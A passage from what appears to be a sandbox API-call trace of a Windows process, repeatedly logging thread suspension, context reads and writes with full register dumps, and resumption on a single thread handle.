FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.613] ResumeThread (hThread=0x1d8) returned 0x1 [0170.613] CloseHandle (hObject=0x1d8) returned 1 [0170.613] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.740] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.934] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0170.934] SuspendThread (hThread=0x1d8) returned 0x0 [0170.934] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eb50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc655a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.937] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eb48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.938] ResumeThread (hThread=0x1d8) returned 0x1 [0170.938] CloseHandle (hObject=0x1d8) returned 1 [0170.938] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.052] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.168] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0171.168] SuspendThread (hThread=0x1d8) returned 0x0 [0171.168] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019e378, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc40116, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0171.169] ResumeThread (hThread=0x1d8) returned 0x1 [0171.169] CloseHandle (hObject=0x1d8) returned 1 [0171.169] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.286] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0171.393] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0171.393] SuspendThread (hThread=0x1d8) returned 0x0 [0171.393] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019e2d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fb99f60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0171.394] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, 